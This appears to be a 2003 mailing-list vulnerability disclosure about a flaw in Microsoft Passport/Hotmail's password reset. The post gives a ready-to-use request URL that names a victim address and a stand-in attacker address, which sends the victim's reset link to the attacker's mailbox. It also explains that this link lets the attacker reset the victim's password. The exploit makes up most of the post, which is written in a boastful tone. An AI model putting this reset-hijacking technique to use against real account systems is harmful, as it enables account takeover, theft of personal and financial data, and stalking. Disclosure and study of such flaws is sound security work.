Has anyone else's account been locked down this morning (password doesn't work) when you tried it on your own account last night?

I guess I don’t need to go in details of how cruical and important Hotmail / Passport’s .NET Account passport is to anyone. You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not. It is so simple that it is funny. All you got to do is hit the following in your browser: https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim () hotmail co m&id=&cb=&prefem=attacker () attacker com&rst=1 And you’ll get an email on attacker () attacker com asking you to click on a url something like this: http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0 &lc=1033
From that url, you can reset the password and I don’t think I need to say
anything more about it. Vulnerability / Flaw discovered : 12th April 2003 Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned) Regards -------- Muhammad Faisal Rauf Danka _____________________________________________________________ --------------------------- [ATTITUDEX.COM] http://www.attitudex.com/ --------------------------- _____________________________________________________________ Select your own custom email address for FREE!
